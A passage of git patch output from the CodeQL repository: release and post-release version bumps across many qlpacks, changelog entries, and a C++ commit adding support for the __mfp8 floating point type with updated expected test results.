user-facing changes. + ## 0.0.5 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.6.md b/shared/typeinference/change-notes/released/0.0.6.md new file mode 100644 index 00000000000..ccbce856079 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.6.md @@ -0,0 +1,3 @@ +## 0.0.6 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index bb45a1ab018..cf398ce02aa 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.5 +lastReleaseVersion: 0.0.6 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 459a6a4a172..d0c83854b67 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.6-dev +version: 0.0.6 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 731844b4af3..6e434da1f77 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.9.md b/shared/typetracking/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index 91b9a990ba8..e75d2976ab3 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index a81f798d14c..62be8d62137 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.25.md b/shared/typos/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index bedd7763f80..7cbc9901fec 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index 70486f1eeb4..e9eb55238ef 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.12 + +No user-facing changes. + ## 2.0.11 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.12.md b/shared/util/change-notes/released/2.0.12.md new file mode 100644 index 00000000000..c93809466de --- /dev/null +++ b/shared/util/change-notes/released/2.0.12.md @@ -0,0 +1,3 @@ +## 2.0.12 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 3cbe73b4cad..b856d9a13f2 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.11 +lastReleaseVersion: 2.0.12 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index ba1cdd04daf..f400be0abdf 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.12-dev +version: 2.0.12 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index 43afc43456b..1af448dd16d 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.25.md b/shared/xml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 023376cee30..e6cb9a17961 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index a324870b225..7944d8a4a2f 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.25.md b/shared/yaml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 4b28cce1b1c..cf91193f6ae 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index fe8bfd82364..bc63ecb86b4 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. + ## 5.0.0 ### Breaking Changes diff --git a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md b/swift/ql/lib/change-notes/released/5.0.1.md similarity index 50% rename from swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md rename to swift/ql/lib/change-notes/released/5.0.1.md index 60adc9e1cfc..b27dae0871d 100644 --- a/swift/ql/lib/change-notes/2025-06-05-swift.6.1.2.md +++ b/swift/ql/lib/change-notes/released/5.0.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 5.0.1 + +### Minor Analysis Improvements + * Updated to allow analysis of Swift 6.1.2. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c9e54136ca5..ae7df5e18b7 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.0.1 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index efb8506e6ca..8c4f32eb0d2 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.1-dev +version: 5.0.1 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7faf32ba841..54ed582d8d9 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.1.5 + +No user-facing changes. + ## 1.1.4 ### Minor Analysis Improvements diff --git a/swift/ql/src/change-notes/released/1.1.5.md b/swift/ql/src/change-notes/released/1.1.5.md new file mode 100644 index 00000000000..11a52a121d1 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.5.md @@ -0,0 +1,3 @@ +## 1.1.5 + +No user-facing changes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 26cbcd3f123..df39a9de059 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.4 +lastReleaseVersion: 1.1.5 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 71a570bb9d8..9c1b33791a2 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.5-dev +version: 1.1.5 groups: - swift - queries From 21463a96530295d9048401e207073cf5943fa311 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 9 Jun 2025 18:50:20 +0000 Subject: [PATCH 197/271] Post-release preparation for codeql-cli-2.22.0 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 5919efe3b67..596bf4a14f0 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.11 +version: 0.4.12-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 9e45e764ede..99c4fd8d02c 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.3 +version: 0.6.4-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 5d1966180cc..c0dd5d2ae2a 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.1.0 +version: 5.1.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index 52f0f08a4c5..290c18cb815 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.2 +version: 1.4.3-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 212ac56d39d..a86abb4812b 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.42 +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 16bf3587403..caf1e66033e 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.42 +version: 1.7.43-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 84b613c8497..464284c56cb 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.8 +version: 5.1.9-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index 24cacd047ce..6437a730f15 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.2 +version: 1.2.3-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index aaa9a44cb15..17730391629 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.25 +version: 1.0.26-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 6cf36447983..9c6a8397bc3 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.7 +version: 4.2.8-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 8278ece9be5..874d6e093fc 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.3.0 +version: 1.3.1-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index b8d73e70642..35f35a391c5 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.1 +version: 7.3.2-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 4ea0bc399ca..a0b518b6876 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.2 +version: 1.5.3-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index c015b3679f1..b367ab88549 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.5 +version: 2.6.6-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 6fff98f1f34..0bfacd0c21e 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.2 +version: 1.6.3-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 3ee266732fb..848e808db34 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.25 +version: 1.0.26-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index 4b1d284def3..ffd394c2544 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.9 +version: 4.0.10-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 54dfe59df77..2fa2d2204b9 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.2 +version: 1.5.3-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 1ed20c1ddcf..ab4215ced20 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.8 +version: 4.1.9-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index d3963ed7ea4..b6053c7a9ef 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.2 +version: 1.3.3-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 246c9948c50..e20992cbb0b 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.10 +version: 0.1.11-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 813da756c7b..9f1b7148e38 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.10 +version: 0.1.11-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 08958db7e3e..6325acc4c5b 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 6629d0eb19b..1e1736c81f6 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 508a599359f..0e8adfc89c2 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index ed8f11bc648..d3b36828ade 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.3 +version: 0.0.4-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index e45001c1cd0..059cf59c2bf 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index ea61f121ef4..a98c2f6003b 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 586a23e5dbb..4c73efe3912 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.1 +version: 2.0.2-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 2ce914671fc..fda94a8f4ff 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.25 +version: 1.0.26-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 5e8d7d64ca5..2ecf5730d21 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index a95abb9ac22..119a36067be 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index d0c83854b67..32fd6de02e8 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.6 +version: 0.0.7-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index e75d2976ab3..193e743290e 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.9 +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 7cbc9901fec..205c84402c0 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index f400be0abdf..5ed3783fded 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.12 +version: 2.0.13-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index e6cb9a17961..3c979618613 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index cf91193f6ae..4dad8cfd7f9 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.25 +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 8c4f32eb0d2..68ce7d4f490 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 5.0.1 +version: 5.0.2-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 9c1b33791a2..b5bf65254e8 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.5 +version: 1.1.6-dev groups: - swift - queries From 691e462501d2c54e221b0ebd71baf9092d66cdd2 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 21:40:32 +0200 Subject: [PATCH 198/271] C++: Support the `__mfp8` floating point type --- cpp/ql/lib/semmle/code/cpp/Type.qll | 3 +++ cpp/ql/lib/semmlecode.cpp.dbscheme | 1 + 2 files changed, 4 insertions(+) diff --git a/cpp/ql/lib/semmle/code/cpp/Type.qll b/cpp/ql/lib/semmle/code/cpp/Type.qll index aa3fa54835c..fef978b198d 100644 --- a/cpp/ql/lib/semmle/code/cpp/Type.qll +++ b/cpp/ql/lib/semmle/code/cpp/Type.qll @@ -839,6 +839,9 @@ private predicate floatingPointTypeMapping( or // _Complex _Float128 kind = 61 and base = 2 and domain = TComplexDomain() and realKind = 49 and extended = false + or + // __mfp8 + kind = 62 and base = 2 and domain = TRealDomain() and realKind = 62 and extended = false } /** diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme index 9a7c3c14c10..af887e83a81 100644 --- a/cpp/ql/lib/semmlecode.cpp.dbscheme +++ b/cpp/ql/lib/semmlecode.cpp.dbscheme @@ -691,6 +691,7 @@ case @builtintype.kind of | 59 = @complex_std_float64 // _Complex _Float64 | 60 = @complex_float64x // _Complex _Float64x | 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 ; builtintypes( From f910906965b369a44444070b3176986bae3041ff Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 6 Jun 2025 22:09:19 +0200 Subject: [PATCH 199/271] C++: Update expected test results --- .../library-tests/templates/type_instantiations/types.expected | 1 + cpp/ql/test/library-tests/type_sizes/type_sizes.expected | 1 + .../unspecified_type/types/unspecified_type.expected | 1 + cpp/ql/test/library-tests/variables/variables/types.expected | 1 + 4 files changed, 4 insertions(+) diff --git a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected index 3539e52eecf..a86ab5e7bbd 100644 --- a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected +++ b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected @@ -25,6 +25,7 @@ | file://:0:0:0:0 | __float128 | | file://:0:0:0:0 | __fp16 | | file://:0:0:0:0 | __int128 | +| file://:0:0:0:0 | __mfp8 | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | | file://:0:0:0:0 | __va_list_tag && | diff --git a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected index b7bc9e04fe3..08e8b26f525 100644 --- a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected +++ b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected @@ -46,6 +46,7 @@ | file://:0:0:0:0 | __float128 | 16 | | file://:0:0:0:0 | __fp16 | 2 | | file://:0:0:0:0 | __int128 | 16 | +| file://:0:0:0:0 | __mfp8 | 1 | | file://:0:0:0:0 | __va_list_tag | 24 | | file://:0:0:0:0 | __va_list_tag & | 8 | | file://:0:0:0:0 | __va_list_tag && | 8 | diff --git a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected index 00ae3fa5d8f..2e5091754b9 100644 --- a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected +++ b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected @@ -27,6 +27,7 @@ | file://:0:0:0:0 | __float128 | __float128 | | file://:0:0:0:0 | __fp16 | __fp16 | | file://:0:0:0:0 | __int128 | __int128 | +| file://:0:0:0:0 | __mfp8 | __mfp8 | | file://:0:0:0:0 | __va_list_tag & | __va_list_tag & | | file://:0:0:0:0 | __va_list_tag && | __va_list_tag && | | file://:0:0:0:0 | auto | auto | diff --git a/cpp/ql/test/library-tests/variables/variables/types.expected b/cpp/ql/test/library-tests/variables/variables/types.expected index 6ecf14875ca..1d091ac2571 100644 --- a/cpp/ql/test/library-tests/variables/variables/types.expected +++ b/cpp/ql/test/library-tests/variables/variables/types.expected @@ -26,6 +26,7 @@ | __float128 | Float128Type | | | | | | __fp16 | BinaryFloatingPointType, RealNumberType | | | | | | __int128 | Int128Type | | | | | +| __mfp8 | BinaryFloatingPointType, RealNumberType | | | | | | __va_list_tag | DirectAccessHolder, MetricClass, Struct, StructLikeClass | | | | | | 